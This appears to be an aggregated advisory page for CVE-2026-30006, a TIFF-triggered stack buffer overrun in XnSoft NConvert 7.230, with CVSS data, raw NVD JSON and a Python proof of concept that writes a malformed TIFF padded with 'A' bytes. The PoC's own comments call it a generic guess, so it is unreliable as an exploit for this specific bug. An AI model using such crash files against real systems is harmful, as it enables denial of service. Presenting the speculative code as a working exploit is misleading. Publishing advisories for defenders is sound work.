Security Vulnerability Report
中文
CVE-2026-30006 CVSS 6.2 MEDIUM

CVE-2026-30006

Published: 2026-03-23 17:16:49
Last Modified: 2026-03-26 15:27:42

Description

XnSoft NConvert 7.230 is vulnerable to Stack Buffer Overrun via a crafted .tiff file.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:xnview:nconvert:7.230:*:*:*:*:*:*:* - VULNERABLE
XnSoft NConvert 7.230

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # Generate a malicious TIFF file to trigger the stack buffer overflow in XnSoft NConvert 7.230 def generate_poc(filename): # TIFF Header (Little Endian) # Byte order: II (0x4949) # Version: 42 (0x2A) # Offset to first IFD: 0x08 (pointing right after header) header = b'II\x2A\x00\x08\x00\x00\x00' # IFD (Image File Directory) # Number of entries: Let's define 1 entry that causes the issue # Assuming the vulnerability is triggered by a specific tag with a large value/offset # This is a generic PoC structure; real poc would depend on specific vulnerable tag. num_entries = struct.pack('<H', 1) # IFD Entry (12 bytes) # Tag: 0x0100 (ImageWidth) - Example tag # Type: 4 (LONG) # Count: 1 # Value/Offset: Pointer to a large buffer or the data itself # To trigger buffer overflow, we often need a specific tag that reads into a small buffer. # Here we simulate a large offset or value that might be mishandled. # In a real scenario based on the CVE description, we craft the .tiff structure accordingly. # For this example, we append a large payload. # Malicious payload (padding) crash_payload = b'A' * 1000 # Adjust size based on specific buffer size in vulnerability with open(filename, 'wb') as f: f.write(header) f.write(num_entries) # Write a dummy IFD entry that might lead to reading the payload f.write(b'\x00\x01\x04\x00\x01\x00\x00\x00' + struct.pack('<I', 0x1C)) # Offset to payload # Next IFD offset (0 means end) f.write(b'\x00\x00\x00\x00') f.write(crash_payload) print(f"[+] PoC file generated: {filename}") if __name__ == "__main__": generate_poc("exploit.tiff")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30006", "sourceIdentifier": "[email protected]", "published": "2026-03-23T17:16:48.907", "lastModified": "2026-03-26T15:27:42.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "XnSoft NConvert 7.230 is vulnerable to Stack Buffer Overrun via a crafted .tiff file."}, {"lang": "es", "value": "XnSoft NConvert 7.230 es vulnerable a desbordamiento de búfer de pila a través de un archivo .tiff manipulado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xnview:nconvert:7.230:*:*:*:*:*:*:*", "matchCriteriaId": "30064642-A265-4EC4-A5A1-C4A099E7FF26"}]}]}], "references": [{"url": "https://github.com/PassMoon/Nconvert_Vul", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.xnview.com/en/nconvert/#downloads", "source": "[email protected]", "tags": ["Product"]}]}}